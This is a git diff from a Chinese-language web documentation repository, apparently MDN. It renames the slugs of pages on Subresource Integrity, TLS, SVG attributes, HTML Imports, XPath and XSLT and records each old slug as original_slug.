    diff --git a/files/zh-cn/web/security/subresource_integrity/index.html b/files/zh-cn/web/security/subresource_integrity/index.html index 86c80188c0..7a6d4b4756 100644 --- a/files/zh-cn/web/security/subresource_integrity/index.html +++ b/files/zh-cn/web/security/subresource_integrity/index.html @@ -1,6 +1,6 @@ --- title: Subresource Integrity -slug: Web/Security/子资源完整性 +slug: Web/Security/Subresource_Integrity tags: - CORS - SRI @@ -8,6 +8,7 @@ tags: - Subresource Integrity - 子资源完整性 translation_of: Web/Security/Subresource_Integrity +original_slug: Web/Security/子资源完整性 ---

    子资源完整性(SRI)是允许浏览器检查其获得的资源(例如从 CDN 获得的)是否被篡改的一项安全特性。它通过验证获取文件的哈希值是否和你提供的哈希值一样来判断资源是否被篡改。

    diff --git a/files/zh-cn/web/security/transport_layer_security/index.html b/files/zh-cn/web/security/transport_layer_security/index.html index ed6e6bb128..bcadfa9d13 100644 --- a/files/zh-cn/web/security/transport_layer_security/index.html +++ b/files/zh-cn/web/security/transport_layer_security/index.html @@ -1,11 +1,12 @@ --- title: 传输层安全协议 -slug: Web/Security/传输层安全协议 +slug: Web/Security/Transport_Layer_Security tags: - 传输层安全协议 - 安全 - 密码学 translation_of: Web/Security/Transport_Layer_Security +original_slug: Web/Security/传输层安全协议 ---

    使用传输层安全性协议(TLS)进行的任何连接的安全性在很大程度上取决于密码套件和所选的安全性参数。 本文的目的是帮助您确保客户端和服务器之间的机密性和完整性通信。Mozilla运营安全团队(OpSec)维护了 服务器端TLS参考配置的Wiki条目

    diff --git a/files/zh-cn/web/svg/attribute/styling/index.html b/files/zh-cn/web/svg/attribute/styling/index.html index 6d9669c5c5..827a474ca3 100644 --- a/files/zh-cn/web/svg/attribute/styling/index.html +++ b/files/zh-cn/web/svg/attribute/styling/index.html @@ -1,7 +1,8 @@ --- title: SVG样式属性 -slug: Web/SVG/Attribute/样式 +slug: Web/SVG/Attribute/Styling translation_of: Web/SVG/Attribute/Styling +original_slug: Web/SVG/Attribute/样式 ---

    SVG样式属性是所有可以在任何SVG元素上指定以应用CSS样式效果的属性。

    diff --git a/files/zh-cn/web/svg/attribute/text-anchor/index.html b/files/zh-cn/web/svg/attribute/text-anchor/index.html index 7a71281230..31d75a3209 100644 --- a/files/zh-cn/web/svg/attribute/text-anchor/index.html +++ b/files/zh-cn/web/svg/attribute/text-anchor/index.html @@ -1,10 +1,11 @@ --- title: text-anchor -slug: Web/SVG/Attribute/文本锚点 +slug: Web/SVG/Attribute/text-anchor tags: - 可缩放矢量图形 - 可缩放矢量图形 属性 translation_of: Web/SVG/Attribute/text-anchor +original_slug: Web/SVG/Attribute/文本锚点 ---

    « SVG Attribute reference home

    diff --git a/files/zh-cn/web/svg/tutorial/svg_and_css/index.html b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html index f2e753baca..5e13cd92bc 100644 --- a/files/zh-cn/web/svg/tutorial/svg_and_css/index.html +++ b/files/zh-cn/web/svg/tutorial/svg_and_css/index.html @@ -1,7 +1,8 @@ --- title: SVG and CSS -slug: Web/Guide/CSS/Getting_started/SVG_and_CSS +slug: Web/SVG/Tutorial/SVG_and_CSS translation_of: Web/SVG/Tutorial/SVG_and_CSS +original_slug: Web/Guide/CSS/Getting_started/SVG_and_CSS ---
    {{CSSTutorialTOC}}
    diff --git a/files/zh-cn/web/web_components/html_imports/index.html b/files/zh-cn/web/web_components/html_imports/index.html index fe3aeb99cd..35637c4c3f 100644 --- a/files/zh-cn/web/web_components/html_imports/index.html +++ b/files/zh-cn/web/web_components/html_imports/index.html @@ -1,10 +1,11 @@ --- title: HTML 导入(HTML Imports) -slug: Web/Web_Components/HTML导入 +slug: Web/Web_Components/HTML_Imports tags: - HTML Imports - Web Components translation_of: Web/Web_Components/HTML_Imports +original_slug: Web/Web_Components/HTML导入 ---

    {{DefaultAPISidebar("Web Components")}}

    diff --git a/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html index c196e077e6..3a786a8123 100644 --- a/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html +++ b/files/zh-cn/web/xpath/comparison_with_css_selectors/index.html @@ -1,7 +1,8 @@ --- title: Comparison of CSS Selectors and XPath -slug: Web/CSS/CSS_Selectors/Comparison_with_XPath +slug: Web/XPath/Comparison_with_CSS_selectors translation_of: Web/XPath/Comparison_with_CSS_selectors +original_slug: Web/CSS/CSS_Selectors/Comparison_with_XPath ---
    {{CSSRef("Selectors")}}{{QuickLinksWithSubpages("/en-US/docs/Web/XPath")}}{{Draft}}
    diff --git a/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html index cc4b806fa6..d72b2fdfe7 100644 --- a/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html +++ b/files/zh-cn/web/xpath/introduction_to_using_xpath_in_javascript/index.html @@ -1,6 +1,6 @@ --- title: Introduction to using XPath in JavaScript -slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript +slug: Web/XPath/Introduction_to_using_XPath_in_JavaScript tags: - DOM - Extensions @@ -8,6 +8,7 @@ tags: - Web Development - XPath translation_of: Web/XPath/Introduction_to_using_XPath_in_JavaScript +original_slug: Web/JavaScript/Introduction_to_using_XPath_in_JavaScript ---

    该篇文档描述了如何在扩展和网站内部通过JavaScript调用 XPath 接口。 Mozilla 实现了相当多的 DOM 3 XPath,意味着 Xpath 表达式已经可以在 HTML 和 XML 文档中使用。

    diff --git a/files/zh-cn/web/xslt/element/index.html b/files/zh-cn/web/xslt/element/index.html index ecc12b2d6e..84959686d4 100644 --- a/files/zh-cn/web/xslt/element/index.html +++ b/files/zh-cn/web/xslt/element/index.html @@ -1,9 +1,10 @@ --- title: Elements -slug: Web/XSLT/Elements +slug: Web/XSLT/Element tags: - XSLT_Reference translation_of: Web/XSLT/Element +original_slug: Web/XSLT/Elements ---

    {{ XsltRef() }} There are two types of elements discussed here: top-level elements and instructions. A top-level element must appear as the child of either <xsl:stylesheet> or <xsl:transform>. An instruction, on the other hand, is associated with a template. A stylesheet may include several templates. A third type of element, not discussed here, is the literal result element (LRE). An LRE also appears in a template. It consists of any non-instruction element that should be copied as-is to the result document, for example, an <hr> element in an HTML conversion stylesheet.

    On a related note, any attribute in an LRE and some attributes of a limited number of XSLT elements can also include what is known as an attribute value template. An attribute value template is simply a string that includes an embedded XPath expression which is used to specify the value of an attribute. At run-time the expression is evaluated and the result of the evaluation is substituted for the XPath expression. For example, assume that a variable "image-dir" is defined as follows:

    -- cgit v1.2.3-54-g00ecf